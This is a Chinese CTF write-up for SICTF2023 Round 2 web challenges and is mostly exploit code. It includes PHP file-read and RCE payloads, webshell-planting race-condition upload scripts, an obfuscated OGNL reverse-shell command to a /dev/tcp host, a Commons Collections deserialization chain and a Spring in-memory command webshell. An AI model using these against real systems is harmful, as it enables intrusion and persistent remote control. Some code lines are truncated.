SICTF2023 #Round2 WriteUp

[签到]Include

payload:

/?SICTF=php://filter/read=convert.base64-encode/resource=/flag
U0lDVEZ7NTY2Y2ZiNDYtMmI3ZC00YzM0LWI5NjktNTEzNmMyOTE3ZDZkfQo=

进行base64解码就行

Baby_PHP

/?k+e+y=123%0a

然后POST传参就行

command=show_source(next(array_reverse(scandir(current(localeconv())))));

就直接那道flag了

RCE

直接POST传参就行

code=echo `$_POST[a]`;&a=cat /f*

我全都要

简单的pop链条:

<?php
highlight_file(__FILE__);

class B{
    public $pop;
    public $i;
    public $nogame;

    public function __destruct()
    {
        if(preg_match("/233333333/",$this->pop)){
            echo "这是一道签到题,不能让新生一直做不出来遭受打击";
        }
    }

    public function game(){
        echo "扣1送地狱火";
        if ($this->i = "1"){
            echo '<img src=\'R.jpg\'>';
            $this->nogame->love();
        }
    }

    public function __clone(){
        echo "必须执行";
        eval($_POST["cmd"]);
    }
}


class A{
    public $Aec;
    public $girl;
    public $boy;

    public function __toString()
    {
        echo "I also want to fall in love";
        var_dump(md5($this->girl) == md5($this->boy));
        var_dump($this->girl != $this->boy);
        if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
            echo "winwin";
            $this->Aec->game();
        }
    }


}


class P{
    public $MyLover;
    public function __call($name, $arguments)
    {
        echo "有对象我会在这打CTF???看我克隆一个对象!dsadsadas";
        echo $name;
        echo "   ";
        echo $arguments;
        if ($name != "game") {
            echo "打游戏去,别想着对象了";
            $this->MyLover = clone new B;
        }
    }


}

    $a = new B();
    $a->pop = new A();
    $a->pop->girl[]=1;
    $a->pop->boy[]=2;
    $a->pop->Aec = new B();
    $a->pop->Aec->i = "1";
    $a->pop->Aec->nogame = new P();
    echo serialize($a); 

然后POST传参cmd命令执行即可

你能跟得上我的speed吗

这题考条件竞争文件上传

这里还涉及一个知识点,想要更高效率的发包,就设置一个header头Connection:close,请求完毕就会
将connection关闭,这样就不会占用连接。
如果不设置也能跑,只不过要跑很多次,就要看运气了,我这个脚本跑了一下很快就出了

这题后面出题人发的源码:

<?php
if($_FILES["file"]["size"]>0){
if ($_FILES["file"]["error"] > 0) {
echo "错误!!!!!!";
die();
} else {
$filename="./uploads/".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
sleep(0.01);
unlink($filename);
}
}else{
echo "你根本就没有上传,你到底在干什么?!";
die();
}
?>
<div><img src="smile.gif" alt="" /></div>
<h1>当你看见我的时候,你已经输了</h1>
<h1>一次战胜不了我,那就多来几次吧,万一你运气好比我快呢?</h1>

官方的python脚本:

import threading
import requests
url = "http://192.168.1.7:8080/"
def upload():
    while(True):
        upload_result = requests.post(url+"upload.php",files={"file": ("1.php","<?php $op=fopen(\"shell.php\",\"a+\");fwrite($op,'<?php @eval($_POST[cmd]);?>');fclose($op);echo(333) ?>")},headers={'Connection': 'close'})
        global stop_threads
        if stop_threads:
            break
def getshell():
    while(True):
        getshell_result = requests.get(url+"uploads/1.php",headers ={'Connection':'close'})
        if "333" in getshell_result.text:
            print("getshell!!!")
            global stop_threads
            stop_threads = True
            break
stop_threads = False
threads= []
t = threading.Thread(target=upload) # 开始扫描连接判断是否开启
t2 = threading.Thread(target=getshell)
threads.append(t)
threads.append(t2)
t.start()
t2.start()

看的其他佬的文件上传脚本:

# coding=utf-8
# Author:Y4tacker
import io
import requests
import threading

sessid = 'yyy'
url = "http://210.44.151.51:10368/upload.php"
php = open('1.php','rb').read()
# print(php)
def write(session):
    while True:
        f = php
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': f"123123213123"},
                            files={'file': ('1.php', f)}, cookies={'PHPSESSID': sessid})

def read(session):
    while True:
        resp = session.get('http://210.44.151.51:10368/uploads/1.php')
        if "bingo" in resp.text:
            print(resp.text)
            break

if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:

        for i in range(1, 10):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 10):
            threading.Thread(target=read, args=(session,)).start()

    event.set()

php文件:

<?php
file_put_contents("1.php","<?php eval($_GET['1']); ?>");
echo "winwin";
?>

这是我自己的文件上传脚本,也没有成功奇怪捏,我的配合BP一起来使用

import requests
import threading
import os

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)

        self.url = 'http://210.44.151.51:10287/uploads/a.php'
        self.uploadUrl = 'http://210.44.151.51:10287/uploads/shell.php'

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)

    def _upload(self):
        print('upload file...')
        rs = requests.get(self.uploadUrl)
        if rs.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)

    def run(self):
        while True:
            for i in range(5):
                self._get()

            for i in range(10):
                self._upload()
                self._get()

if __name__ == '__main__':
    threads = 50

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

pain

这题在网上随便找了一个表达式注⼊OGNL表达式注⼊的poc,进行unicode编码发现能够打通,然后进行反弹shell,但是要注意的是反弹shell时的payload要进行一次混淆再来进行打

@java.lang.\u0052untime@g\u0065t\u0052untime().\u0065xec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHguNDIuNTIueHh4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")

弹shell过后就比较简单了,直接命令执行拿flag就行

DoyouknowCC

⾸先是rce,还有个InstantiateFactory类,配合FactoryTransformer可以加载字节码

InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{impl});
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

其次是调⽤transform⽅法,DefaultedMap可以代替LazyMap和TransformedMap

最后就是触发DefaultedMap#get⽅法

在没有TiedMapEntry的情况可以利⽤CC7触发

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map outerMap1 = DefaultedMap.decorate(innerMap1, factoryTransformer);
outerMap1.put("yy", 1);
Map outerMap2 = DefaultedMap.decorate(innerMap2, factoryTransformer);
outerMap2.put("zZ", 1);
Hashtable table = new Hashtable();
setFieldValue(table, "count", 2);
Class nodeC = Class.forName("java.util.Hashtable$Entry");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, outerMap1, 1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, outerMap2, 2, null));
setFieldValue(table, "table", tbl);

由于高版本的实例化RequestMappingInfo对象的⽅式已被弃⽤
内存⻢exp:

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class EvilController extends AbstractTranslet {
public EvilController() throws Exception{
// 1. 利⽤spring内部⽅法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.spri
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得⾃定义 controller 中的 Method 对象
Method method = EvilController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 5. 定义允许访问 controller 的 HTTP ⽅法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
// RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMappi
RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();
EvilController springBootMemoryShellOfController = new EvilController("aaaaaaa");
mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
}
public EvilController(String test){
}
public void test() throws Exception{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执⾏命令
String command = request.getParameter("cmd");
if(command != null){
try {
java.io.PrintWriter printWriter = response.getWriter();
String o = "";
    ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
printWriter.write(o);
printWriter.flush();
printWriter.close();
}catch (Exception ignored){
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

最终EXP:

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import static org.example.tools.base64Decode;
public class Main {
public static void main(String[] args) throws Exception {
TemplatesImpl impl = new TemplatesImpl();
byte[] code = base64Decode(makeClass("org.example.EvilController"));
setFieldValue(impl, "_name", "nivia");
setFieldValue(impl, "_bytecodes", new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{im
FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map outerMap1 = DefaultedMap.decorate(innerMap1, factoryTransformer);
outerMap1.put("yy", 1);
Map outerMap2 = DefaultedMap.decorate(innerMap2, factoryTransformer);
outerMap2.put("zZ", 1);
Hashtable table = new Hashtable();
                                                                                                                            setFieldValue(table, "count", 2);
Class nodeC = Class.forName("java.util.Hashtable$Entry");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, outerMap1, 1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, outerMap2, 2, null));
setFieldValue(table, "table", tbl);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(table);
oos.close();
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static String makeClass(String className) throws Exception {
final CtClass clazz;
ClassPool pool = ClassPool.getDefault();
clazz = pool.get(className);
byte[] classBytes = clazz.toBytecode();
classBytes[7] = 49;
return tools.base64Encode(classBytes);
}
}